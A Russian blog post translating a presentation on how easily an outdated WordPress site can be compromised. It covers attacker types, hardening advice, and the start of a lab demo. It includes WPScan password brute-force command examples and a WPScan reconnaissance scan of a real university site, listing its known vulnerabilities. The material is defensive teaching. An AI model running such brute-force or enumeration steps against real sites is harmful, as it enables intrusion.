Лично я полагаю, что если сайт пользуется популярностью (в первом миллионе по рейтингу Алекса Топ), он получает большое обновление контента – возможно, даже имеет персонал – и поэтому будет больше шансов получить обновления тем и плагинов для WordPress регулярно, чем у небольшого личного сайта. Это предположение может соответствовать, а может и не соответствовать действительности.

И последнее, что действительно важнее всего сказанного выше: каждый 2-ой среди лучших сайтов WordPress в мире уже значительно устарел.

Авторы программного обеспечения, компаний, работающие в сфере компьютерной безопасности, и агентства сотрудничают, чтобы вести список уязвимых мест, которым присваиваются идентификаторы CVE . На WordPress (в том числе среди трети тем и плагинов) имеются 223 идентификатора CVE.

Существует также статистика уязвимости WordPress , где учтены все уязвимые места WordPress, которым присвоен идентификатор cve.

Национальная база данных уязвимостей, которые ведутся в Национальном Институте стандартов и технологий США (nist), содержится 590 уязвимостей для WordPress.

Еще одним хорошим источником информации об уязвимости WordPress является http://www.exploit-db.com/ , содержащий сведения о 376 уязвимых местах WordPress.

cve расшифровывается как «общая уязвимость и незащищенность».

Многие уязвимые места никогда не получат идентификатор cve, потому что требуются определенные усилия для их выявления. Например, то, что общая кэш-память W3 позволяет удаленное выполнение кода, которое мы рассматривали, должно было получить идентификационный номер cve -2013—2010, но хотя этот идентификатор был зарезервирован для уязвимости, процесс не был завершен, поэтому он не содержит никакой информации.

Типы плохих парней

Скрипт кидди

Скрипт кидди

  • Использует инструменты, написанные другими людьми, подобно тому, как это делаем мы здесь, а не обнаруживает новые уязвимости сам  и развивает эксплойты для них.
  • Часто мотивирован тем, что пытается произвести впечатление на других созданием личных империй или вредоносных развлечений («лулзов/приколов»).
  • Часто это начинающие хакеры, или любители/дилетанты в сфере компьютерной безопасности.
  • Это самый многочисленный тип плохих парней, но от них проще всего защититься.

«лулзы» (вариант «лол») – поднятие на смех кого-то, кто является жертвой шутки.

Хактивист

Хактивист

  • Мотивирован жаждой известности, повышением уровня осведомленности о своих действиях или иногда желанием напрямую продвигать свои интересы.
  • Может испортить репутацию веб-сайта, особенно часто выбирает крупные или известные веб-сайты, в целях усиления публичности.
  • Может создать ботнет для осуществления распределенного отказа в обслуживании (DDoS) или другие формы нападения на реальные цели.
  • Примеры групп хактивистов включают в себя Anonymous и Сирийскую электронную армию.

Белый хакер (White Hat)

Белый хаккер

  • Охватывает исследователей в области безопасности, тестеров взлома, аудиторов и других профессионалов в области безопасности.
  • Хотя это хорошие парни, но они должны рассматриваться как плохие в целях защиты ваших сайтов WordPress.
  • Большинство будет только взламывать системы, принадлежащие их работодателю или клиентам, так как это часть их работы. Тем не менее, некоторые будут стремиться найти новые уязвимые места для того, чтобы сделать себе имя или чтобы привлечь внимание к проблемам безопасности, что может негативно отразиться на пользователях.

На фото Джон Оберхейд, исследователь систем безопасности, который живет в Энн-Арборе и был соучредителем местной фирмы «Duo Security».

Представители организованной преступности и другие профессиональные плохие парни

Плохие парни - преступные организации

  • Движимые жаждой наживы, они могут взломать ваш сайт, чтобы:
    • Использовать его в ботнете из взломанных сайтов и серверов.
    • Установить на сайте вредоносные программы, предназначенные для заражения, и получить доступ к компьютерам людей, которые посещают сайт (например, чтобы построить ботнет).
    • Настроить магазины «черного рынка» (например, черный рынок аптек).
    • Настроить ссылочные фермы для подрыва рейтинга в поисковых системах.
    • Добывать цифровую валюту (например, биткойн).
    • Воровать (взлом пароля и т. д.).
  • На сегодняшний день именно эти плохие парни, скорее всего, взломают ваш сайт WordPress.

Как в случае с ботнетами, так и со взломанными личными данными, злоумышленник может, скорее всего, продать их еще одному плохому парню за наличные; тогда теневой рынок будет процветать у обоих. Или злоумышленник может использовать их самостоятельно.

Две наиболее распространенных цели ботнетов – это рассылка спама или проведение распределенного отказа в обслуживании (DDoS-атаки). DDoS-атаки могут осуществляться по идеологическим причинам, служить отвлекающим маневром для следующей атаки или кражи, или поводом для вымогательства платы за ненарушение бизнеса.

Кража персональных данных, скорее всего, будет иметь финансовую подоплеку. В то время как большинство блогов WordPress не обрабатывают данные кредитных карт, злоумышленник будет идти по следу хэшей паролей (для WordPress или операционной системы расчетов) и попытаются взломать их или установить клавиатурные шпионы. Многие люди используют один и тот же пароль для нескольких веб-сайтов, или используют простые шаблонные пароли или схемы. Знание паролей учетной записи WordPress является не очень ценным, но это может привести к взлому учетных записей электронной почты, мерчант-аккаунтов (например, Amazon), или рабочих записей и сбору достаточного количества информации, стоящей использования или продажи.

Шпионы

Шпионы

  • Государственный или корпоративный шпионаж.
  • В то время как другие типы плохих парней, вероятно, выберут ваш сайт наугад, то государственный или корпоративный шпион, скорее всего, выберет вас по определенной причине, если уж он это делает.
  • Самый опасный – но и самый редкий – тип  плохих парней.

Уровни взлома

Злоумышленник, успешно воспользовавшийся уязвимостью системы безопасности, может проявить себя в одном из нескольких уровней взлома. По степени повышения серьезности они таковы:

  • Войти в систему, используя украденные учетные данные (догадался, подменил, перехватил). Это позволяет злоумышленнику делать то, для чего были заведены человеком эти учетные данные.
  • Взломать веб-приложения. Это позволяет злоумышленнику делать вещи, которые обычно не разрешены, например, получать закрытую информацию из базы данных или изменять посты.
  • Взломать учетную запись, которая запускает веб-приложения. Это дает злоумышленнику ограниченный контроль над сервером, что позволяет ввести произвольный код в качестве пользователя веб-сервера.
  • Взломать сервер, где размещается веб-приложение. Это дает злоумышленнику полный контроль над сервером, операционной системой, и всеми сайтами, размещенными на сервере.

Зачастую, злоумышленник взламывает сайт на одном уровне и затем использует информацию и доступ, чтобы осуществить уже более глубокую атаку сайта.

Например, злоумышленник может взломать сайт WordPress, чтобы стать автором блога и  воспользоваться той уязвимостью, которая доступна только авторам и заключается в том, что они могут запустить любой код, какой хотят. Затем, применив этот уровень доступа, он воспользуется уязвимостью операционной системы, которая не может быть использована удаленно, только локальными пользователями, для того, чтобы стать системным администратором (суперпользователем) на сервере.

Если кто-то взламывает сервер, становится гораздо труднее восстановить контроль снова, поскольку злоумышленник может скрыть код в ядре операционной системы или в библиотеке. Наилучший выход из этой ситуации состоит в том, чтобы перезагрузить машину и восстановить сайты и другие данные из заведомо исправной резервной копии.

В нашей демонстрации, мы смогли перейти непосредственно к пункту #3 и остановиться там. Многие злоумышленники будут пытаться продолжить на уровне #4, если сделать это им будет достаточно легко (например, если операционная система не в курсе) или если они ставят перед собой именно эту цель.

Стелс (скрытое действие)

Квалифицированный атакующий, который не стремится к публичности, будет стараться скрыть свое присутствие на сайте или сервере как можно дольше, так как если вы их найдете, вы их выгоните и устраните уязвимости, с использованием которых они первоначально вошли. Взлом вашего сайта может не быть очевидным.

Злоумышленник может:

  • Скрыть свои файлы глубоко в дереве каталогов WordPress
  • Дать своим файлам и URL-адресам кажущиеся законными имена (напр., wp-comments-page.php , который фактически не является частью WordPress).
  • Поместить свои файлы в скрытые каталоги (на Linux/Unix-серверах, каталоги, чьи имена начинаются с точки, не отображаются по умолчанию).
  • Поместить свои файлы в каталоги, которые трудно обнаружить (например, каталог, имя которого обозначается одним пробелом).

Как обезопасить свой сайт WordPress

Короткая версия:

  • Проверяйте наличие обновлений для WordPress, тем и плагинов как минимум раз в неделю и выполняйте обновления сразу.
  • Выполняйте все операции через руководство net Basic . Это – скорее деятельность, чем конфигурации.
  • Выполняйте все операции через руководство net Secure WordPress. Здесь, в основном, вы работаете с изменениями конфигураций.

В WPsecure.net также есть руководство и справочник Advanced Security . Я не рекомендую большинство объектов в этих двух руководствах, поскольку они имеют ограниченную эффективность.

Обновление:

  • Проверяйте наличие обновлений для WordPress, тем и плагинов как минимум раз в неделю и выполняйте обновления сразу.

«Но я не хочу ничего ломать!»

  • Заведите «черновой» сайт, где вы сможете попробовать новые явления, прежде чем вы используете их на своем живом сайте. Это может быть даже WordPress, установленный на ваш ноутбук, если вы не хотите платить за хостинг другого сайта.
  • Ждите не более 2-3 дней после того, как будет доступно обновление, проверьте форумы по вопросу сообщений о проблемах, и если их нет, то обновляйте.
  • В том маловероятном случае, что при обновлении что-то сломается, выполняйте возврат к предыдущей версии (через Shell или доступ через SFTP) или восстанавливайте из резервной копии (вы ведь, действительно, регулярно делаете  резервные копии, не так ли?)

Вы можете бесплатно скачать BitNami Stack для WordPress из Mac App Store для очень удобного запуска разработки сайта WordPress на вашем ноутбуке.

Больше работайте с использованием WAMP (Windows)  или MAMP (Mac).

Или для  большего контроля вы можете настроить сервер под управлением Linux в качестве виртуальной машины на своем ноутбуке и использовать приспособление WordPress или развернуть свой собственный сервер.

Что касается пароля:

  • Если единственные люди, которые могут входить в систему на вашем сайте, это вы и авторы, введите ограничения, откуда люди могут зайти (через конфигурацию веб-сервера).
  • В противном случае, используйте плагины, такие как Limit Login Attempts  или Login Security Solution , которые ограничивают число попыток входа в систему для предотвращения подбора пароля путем перебора.
  • Людям не должно быть легко в попытке узнать, какие имена учетных записей существуют на вашем сайте WordPress. Не заводите учетной записи с именем «администратор» (замените ее, если она у вас есть), и убедитесь, что отображаются имена авторов, а не их логины (установите вместо них ники).

Что ещё касается пароля:

  • Рекомендации по выбору пароля:
    • Не используйте один и тот же пароль для нескольких сайтов или учетных записей.
    • Не создавайте «узор» из паролей для нескольких сайтов или учетных записей.
    • Убедитесь, что пароли являются длинными и сложными.
  • Лучше всего: используйте случайные пароли из менеджеров паролей, таких как 1Password или PassPack.
  • Или: используйте четыре или более не связанных между собой слов («верно лошадь батарея скрепка»).
  • Или: используйте первую букву каждого слова из предложения, добавляя некоторые цифры и знаки препинания.

Ars Technica опубликовал статью в марте 2013 года , показывающую, как легко взламывать пароли.

Выбирая слова, не используйте фразы – убедитесь, что слова не связаны друг с другом. Даже непонятные фразы легко взломать.

Защищайтесь сразу с двух сторон: создайте пароли, которые трудно угадать, и если один из ваших паролей украдут (с этого или другого сайта), убедитесь, что злоумышленник не сможет использовать его ни для чего другого.

То, что взлом паролей настолько легок, дает еще один повод ограничить, откуда пользователи могут входить в систему. Вам действительно нужно входить в систему вашего сайта – не используя VPN – из кофейни во Вьетнаме?

Хостинг и протокол SSL:

  • Выбирайте авторитетный узел, который имеет хороший послужной список безопасности (спросите их о гарантиях, которые они предоставляют).
    • Отдавайте предпочтение хостам, которые позволяют установить и полностью управлять WordPress и всеми его темами и плагинами самостоятельно – таким образом, вы сможете полностью контролировать безопасность своего сайта WordPress.
    • Отдавайте предпочтение хостам, которые поддерживают для вас операционную систему, веб-сервер, и сервер базы данных, а также делают резервные копии для вас.
      • Осуществляйте регулярные проверки совместно с вашим хостинг-провайдером, чтобы убедиться, что веб-сервер и сервер баз данных находятся в актуальном состоянии и под управлением последней версии операционной системы, с внесением необходимых исправлений; какие бы дистрибутивы они не использовали, удостоверьтесь, что они не используют те, что уже не поддерживаются.
  • Включите протокол SSL (https) для входа в ваш сайт и на административную страницу.
    • Если Вы не используете протокол SSL, логин и пароль будут отправлены по сети в незашифрованном виде и могут быть перехвачены.
    • Отдавайте предпочтение хосту, который позаботится о получении SSL-сертификата для вас, управлении  и продлении его действия, а также о настройке веб-сервера для SSL, так чтобы все, что вам нужно было сделать, это включить его в WordPress.

Не выбирайте хостинг просто на основе стоимости!

Веб-сервер и файловая система:

  • Блокируйте доступ к wp-includes and wp-admin/includes
  • Блокируйте доступ к .htaccess  файлам
  • Блокируйте доступ или удаляйте .txt  файлы и README файлы.
  • Установите файл robots.txt  для предотвращения того, что боты попытаются индексировать фиды, административные страницы, их составляющие и др.
  • Убедитесь, что у вас нет ни одного файла или каталога, записанного кем-либо, кроме пользователей, которые работают на веб-сервере. (Последняя цифра разрешения должна всегда быть 0, 4, или 5, не 6 или 7).

Разное:

  • Обезопасьте вашу базу данных:
    • Во время установки WordPress, выберите для таблицы базы данных другой префикс, нежели wp_.
    • Удалите базы данных test.
    • Удалите анонимных пользователей базы данных.
    • Убедитесь, что к базе данных нет доступа через Интернет.
  • Включайте редактирование файлов только, когда вам это нужно, чтобы внести изменения в ваши темы. В остальное время держать его отключенным под командной строкой wp-config.php:
define('DISALLOW_FILE_EDIT', true);
  • Сканируйте ваш сайт при помощи WPScan.

Включение DISALLOW_FILE_EDIT может выглядеть немного параноидальным.

Что делать, если ваш сайт оказался под угрозой взлома

  • Переведите сайт в автономный режим (поставьте его в режим обслуживания). Это не позволит злоумышленнику совершить дальнейшее повреждение или сопротивляться вашим попыткам восстановить контроль.
  • Уведомите хостинг-провайдера, чтобы он мог помочь.
  • Сделаете резервное копирование сайта с нарушениями в случае, если вам нужно изучить его позже.
  • Посмотрите на веб-сервере файлы входа в систему, чтобы определить, как злоумышленник совершил взлом. Это поможет вам узнать, как устранить проблему, и это же может понадобиться, чтобы отыскать то, что злоумышленник совершил.
  • Обновите все, что можно обновить.
  • Удалите любые файлы, страницы, посты, комментарии или процессы, добавленные злоумышленником. Если есть сомнения, точно ли вы все нашли, создайте новый сайт на WordPress с нуля и восстановите в нем свою последнюю удачную резервную копию.
  • Измените все пароли, которые использует сайт. А также смените вашего хостинг-провайдера и базы данных паролей.

Как минимизировать урон от взлома

  • Не регистрируйте ничьих учетных записей как пользователей WordPress, кроме авторов и администратора. Используйте социальные медиа записи для комментаторов.
  • Не работайте с конфиденциальной информацией на вашем сайте в интернете (кредитные карты, номера социального страхования, медицинская информация и др.)
  • Настройте автоматическое ежедневное резервное копирование (как файлов, так и базы данных) и ежемесячное тестирование резервных копий.
  • Сохраните подробные записи о том, как вы создали свой сайт, так чтобы вы знали, как все должно быть настроено.
  • Подготовьте план, что делать, если вас взламывают – к кому обращаться, что делать, как это делать.

Если вы не заводите учетных записей WordPress для комментаторов, то сразу удаляете большую вероятность взлома, связанного с ужасно слабыми паролями, привязанными к адресам электронной почты.

Сохранение подробных записей служит нескольким целям: во-первых, вы будете иметь представление о том, как все было устроено и каким оно должно быть – так вы будете в состоянии сказать, изменил ли что-то злоумышленник; во-вторых, вы сможете создать новый сайт с теми же настройками, если это необходимо, не беспокоясь о том, все ли у вас правильно; в-третьих, это заставит вас быть в курсе решений, которые вы принимаете, и вы будете иметь более ясное понимание общей картины вашего сайта.

Ссылки

 

 

Если вы хотите знать об уязвимости и о том, как злоумышленники пользуются ей, то список owasp Топ-10 (выше) будет хорошим отправным пунктом.

Для продвинутых читателей интерес представляет анализ сериализации уязвимости PHP-объектов, которая была одной из главных уязвимостей, исправленных в сентябре 2013. в версии WordPress 3.6.1:

http://vagosec.org/2013/09/wordpress-php-object-injection/

Презентация взлома сайта на WordPress

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Хакерская атака

Когда готовил первую статью в рубрику о безопасности попал на обзор презентации по взлому WordPress.  Саму статью написал Марк Монтаг, программист из Мичиганского университета, а её обзор я нашёл на сайте Хакер. Обзор меня заинтересовал и я решил посмотреть презентацию полностью. Но вот беда — она на английском (в школе я учил Deutsch). Эх, чего не сделаешь из любопытства — я не пожалел денег и заказал перевод. Вот хочу теперь поделиться им с вами. Надеюсь вам понравится.

На сайте оригинала презентация представлена в виде слайдов и в виде статьи. Я не стал заморачиваться — выложил только статью (просто не удивляйтесь когда в тексте встретите упоминания о слайдах).

Марк Монтаг (Mark Montague)

mark@catseye.org

Многие слайды снабжены примечаниями, содержащими дополнительный материал:

  • Для перехода между слайдами и оглавлением презентации нажмите «t». Примечания будут отображаться в режиме структуры. Либо
  • Чтобы просмотреть примечания во всплывающем окне, нажмите «n».

Посмотреть презентацию можно по адресу:
http://www-personal.umich.edu/~markmont/awp/

Исходный файл с текстом презентации можно загрузить по ссылке:
http://www-personal.umich.edu/~markmont/awp.zip

Кто я такой

  • Я системный администратор, да еще и программист. Занимаюсь разработкой веб приложений и технической поддержкой «Программы исследований компьютеров с высокой производительностью» в Мичиганском университете.
  • На предыдущей работе я заведовал отделом главной центральной веб-инфраструктуры Мичиганского университета в течение 5 лет, в том числе предоставление хостинга для сайтов WordPress на базе университета.
  • 19 лет занимался обеспечением безопасности ПК от угроз несанкционированного доступа к данным.
  • 11 лет занимался обеспечением безопасности веб-приложений, вопросами, связанными с различными нарушениями нормального функционирования системы безопасности / взломами, в том числе и вопросами по безопасности WordPress.

Кем я не являюсь

  • Специалистом по безопасности (есть более осведомлённые в вопросах интернет безопасности люди, чем я).
  • Хакером или злоумышленником (у них гораздо больше возможностей, чем у меня, т.к. они располагают целым «набором инструментов взломщика»).

Эта презентация могла бы быть гораздо более пугающей, если бы ее делал специалист по компьютерной безопасности, либо хакер.

Данная презентация является обновленной, правда, и значительно сокращенной версией presentation I gave for WordPress Ann Arbor in January 2014. Для более подробной информации, особенно о том, какие типы злоумышленников встречаются в сети, что их мотивирует, и как защитить ваш сайт на WordPress смотрите оригинальную презентацию.

Как специалист по безопасности, так и злоумышленник располагают гораздо большим свободным временем, чем специалист широкого профиля, такой как я.

У компьютерных пиратов есть возможность пользоваться вредоносными программными средствами, в том числе целым арсеналом высокотехнологичных инструментальных средств разработки прикладных программ для взлома систем безопасности вебсайтов, доступ к форумам черных хакеров и т.д. Пакеты разработчика и комплекты для взлома систем безопасности (эксплойты) свободно продают и покупают за криптовалюту Bitcoin или доллары на сайтах черных рынков.

В настоящей презентации речь пойдет об использовании только легальных инструментов разработчика, т.к. я предпочитаю не пользоваться не вызывающим доверия ПО и, тем более, не хотел бы закончить свою карьеру в качестве нарушителя закона.

В своей предыдущей презентации я рассказывал об уязвимости систем безопасности к внедрению PHP кода при работе с дополнительным модулем W3 Total Cache и о запуске командной оболочки (командного процессора) на веб сервере. В новой презентации речь пойдет об уязвимости систем безопасности к внедрению запроса SQL во время добавления нового администратора на сайт WordPress через базу данных сайта.

Не становитесь хакером

Цель данной презентации – показать насколько легко получить контроль над сайтом, работающим под управлением WordPress, если его своевременно не обновлять. Надеюсь этим мотивировать вас во время обновлять базы данных сайта на WordPress и следить за его безопасностью.

Все показанное в презентации является основами безопасности, и доступно каждому, у кого есть выход в Интернет, также все представленное в показе легко найти с помощью обычного веб поиска. В презентации не представлены сложные в применении передовые технологии или технические приемы, понятные только специалисту.

Однако, самовольное использование материалов презентации в отношении сайтов или ПК, которые не являются вашей собственностью, противозаконно и влечет за собой соответствующие наказание. Не следует этого делать.

Цель

http://myblog2.catseye.org/

http://myblog2.catseye.org/

Данный сайт на WordPress работает на виртуальной машине моего лэптопа и не имеет публичного доступа.

  • WordPress 4.0 (последняя версия на период публикации презентации).
  • Плагин: Custom Contact Forms версия 5.1.0.3  на одну версию старее чем последний пресс-релиз.«Плагин для WordPress с возможностью настройки под индивидуальные потребности пользователя и с интуитивно понятной формой обратной связи»

Загружен более 641,000 раз. Оценка 3.8 по 5 бальной шкале.

Примечание! У версии 5.1.0.3. есть проблемы с безопасностью! Версия, используемая нами 5.1.0.4., выпущена 4 августа 2014 г.  

  • Работает на сервере Ubuntu 14.04.1 LTS 64 бит (последняя версия от LTS), полностью укомплектован и обновлен.

Все настроено в соответствии с инструкциями, представленными на сайтах: wordpress.org и ubuntu.com. Единственное дополнение, которое я сделал на свое усмотрение – включил безопасный командный процессор (SSH), чтобы можно было управлять программой через командную строку.

Используем Ubuntu Server LTS, поскольку он давно уже себя положительно зарекомендовал и пользуется наибольшей популярностью среди пользователей, работающих со своими серверами.

Атакующий

badguy2.catseye.org

Взломщик сайта

Атакующая система работает на второй виртуальной машине, доступной на моем лэптопе, и также как и цель взлома ее нет в общем доступе.

Мы используем последнюю версию Kali Linux 1.0.9, работающую под управлением Debian 7 «Wheezy».

Kali Linux, http://www.kali.org/

  • Легальный инструмент, который позволяет компаниям проверить свои сети на наличие проблем с безопасностью.
  • Точней это комплект из более, чем 300 средств обеспечения защиты, включая инструменты для проверки надежности систем безопасности, а также аналитические инструменты для восстановления после хакареских атак.
  • Это полностью разработанная Linux система, которой можно спокойно доверять. Запускаются дистрибутивы как с CD диска, так и устанавливаются на компьютер.
  • Мы будем использовать продукт Linux, потому что это наиболее быстрый и простой способ запустить имитацию атаки: скачал, запустил, атакуй.

На самом деле нам понадобятся только три из всего разнообразия предлагаемых и разрабатываемых Kali Linux инструментов:

  • WPScan: Осуществляет поиск на наличие проблем с безопасностью у сайтов на WordPress и взламывает при помощи грубой силы (brute-force) пароли пользователей WordPress.
  • Metasploit: Высокотехнологичный набор инструментов по проверке безопасности, снабженный веб интерфейсом, через который можно легко запускать атаки, даже не имея глубоких технических познаний в этой области.
  • Weevely: «PHP вебшел» – вредоносный скрипт, который при загрузки его на сайт, открывает черный ход ко всем данным сайта и позволяет в результате получить полный контроль над веб сервером.

Вместо дистрибутива Kali Linux мы могли бы просто по отдельности скачать и установить WPScan, Metasploit, и Weevely. Это потребовало бы лишь чуточку больше технических знаний, чем при использовании готового пакета Kali Linux, плюс немного больше потратить времени на настройку программ и радоваться результату проделанных трудов. Но выберем менее трудоемкий вариант.

WPScan

Чтобы познакомиться с работой WPScan, запустите его с помощью опции справки --help:

root@badguy2: ~# wpscan --help
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

Help :

Some values are settable in a config file, see the example.conf.json

--update                            Update to the database to the latest version.
--url       | -u <target url>       The WordPress URL/domain to scan.
--force     | -f                    Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)]        Enumeration.
  option :
    u        usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p        plugins
    vp       only vulnerable plugins
    ap       all plugins (can take a long time)
    tt       timthumbs
    t        themes
    vt       only vulnerable themes
    at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
  If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based "<regexp or string>"
                                    Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied.
                                    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double).
--config-file  | -c <config file>   Use the specified config file, see the example.conf.json.
--user-agent   | -a <User-Agent>    Use the specified User-Agent.
--cookie <String>                   String to read cookies from.
--random-agent | -r                 Use a random User-Agent.
--follow-redirection                If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--batch                             Never ask for user input, use the default behaviour.
--no-color                          Do not use colors in the output.
--wp-content-dir <wp content dir>   WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it.
                                    Subdirectories are allowed.
--wp-plugins-dir <wp plugins dir>   Same thing than --wp-content-dir but for the plugins directory.
                                    If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy <[protocol://]host:port>    Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
                                    If no protocol is given (format host:port), HTTP will be used.
--proxy-auth <username:password>    Supply the proxy login credentials.
--basic-auth <username:password>    Set the HTTP Basic authentication.
--wordlist | -w <wordlist>          Supply a wordlist for the password bruter and do the brute.
--username | -U <username>          Only brute force the supplied username.
--threads  | -t <number of threads> The number of threads to use when multi-threading requests.
--cache-ttl       <cache-ttl>       Typhoeus cache TTL.
--request-timeout <request-timeout> Request Timeout.
--connect-timeout <connect-timeout> Connect Timeout.
--max-threads     <max-threads>     Maximum Threads.
--help     | -h                     This help screen.
--verbose  | -v                     Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000

-Use custom content directory ...
ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins

-Update the DB ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log

See README for further information.
root@badguy2: ~#

WPScan

Взгляните на сайт:  http://arc.research.umich.edu/

root@badguy2: ~# wpscan --url arc.research.umich.edu
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://arc.research.umich.edu/
[+] Started: Thu Oct  2 21:32:30 2014

[+] robots.txt available under: 'http://arc.research.umich.edu/robots.txt'
[!] The WordPress 'http://arc.research.umich.edu/readme.html' file exists
[+] Interesting header: LINK: <http://arc.research.umich.edu/?p=12>; rel=shortlink
[+] Interesting header: SERVER: Apache
[+] XML-RPC Interface available under: http://arc.research.umich.edu/xmlrpc.php
[!] Upload directory has directory listing enabled: http://arc.research.umich.edu/wp-content/uploads/

[+] WordPress version 3.8.1 identified from meta generator
[!] 9 vulnerabilities identified from the version number

[!] Title: WordPress 1.0 - 3.8.1 administrator exploitable blind SQLi
    Reference: https://wpvulndb.com/vulnerabilities/5963
    Reference: https://security.dxw.com/advisories/sqli-in-wordpress-3-6-1/

[!] Title: WordPress 3.7.1 & 3.8.1 Potential Authentication Cookie Forgery
    Reference: https://wpvulndb.com/vulnerabilities/5964
    Reference: https://labs.mwrinfosecurity.com/blog/2014/04/11/wordpress-auth-cookie-forgery/
    Reference: https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166
    Reference: http://osvdb.org/105620
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.7.1 & 3.8.1 Privilege escalation: contributors publishing posts
    Reference: https://wpvulndb.com/vulnerabilities/5965
    Reference: https://github.com/wpscanteam/wpscan/wiki/CVE-2014-0165
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0165
    Reference: http://osvdb.org/105630
[i] Fixed in: 3.8.2

[!] Title: WordPress Plupload Unspecified XSS
    Reference: https://wpvulndb.com/vulnerabilities/5966
    Reference: https://secunia.com/advisories/57769
    Reference: http://osvdb.org/105622
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.5 - 3.7.1 XML-RPC DoS
    Reference: https://wpvulndb.com/vulnerabilities/7526
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/
    Reference: http://www.breaksec.com/?p=6362
    Reference: http://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
[i] Fixed in: 3.9.2

[!] Title: WordPress 2.0.3 - 3.9.1 (except 3.7.4 / 3.8.4) CSRF Token Brute Forcing
    Reference: https://wpvulndb.com/vulnerabilities/7528
    Reference: https://core.trac.wordpress.org/changeset/29384
    Reference: https://core.trac.wordpress.org/changeset/29408
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5204
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5205
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.0 - 3.9.1 Authenticated Cross-Site Scripting (XSS) in Multisite
    Reference: https://wpvulndb.com/vulnerabilities/7529
    Reference: https://core.trac.wordpress.org/changeset/29398
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5240
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.6 - 3.9.1 XXE in GetID3 Library
    Reference: https://wpvulndb.com/vulnerabilities/7530
    Reference: https://github.com/JamesHeinrich/getID3/commit/dc8549079a24bb0619b6124ef2df767704f8d0bc
    Reference: http://getid3.sourceforge.net/
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://lab.onsec.ru/2014/09/wordpress-392-xxe-through-media-upload.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2053
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.4.2 - 3.9.2 Does Not Invalidate Sessions Upon Logout
    Reference: https://wpvulndb.com/vulnerabilities/7531
    Reference: http://whiteoaksecurity.com/blog/2012/12/17/cve-2012-5868-wordpress-342-sessions-not-terminated-upon-explicit-user-logout
    Reference: http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5868
[i] Fixed in: 4.0

[+] WordPress theme in use: orci - v0.1.0

[+] Name: orci - v0.1.0
 |  Location: http://arc.research.umich.edu/wp-content/themes/orci/
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/themes/orci/
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/orci/style.css
 |  Theme Name: ORCI
 |  Theme URI: http://orci.research.umich.edu/
 |  Description: Child theme for the Twenty Eleven theme
 |  Author: John Pariseau
 |  Author URI: http://example.com/about/

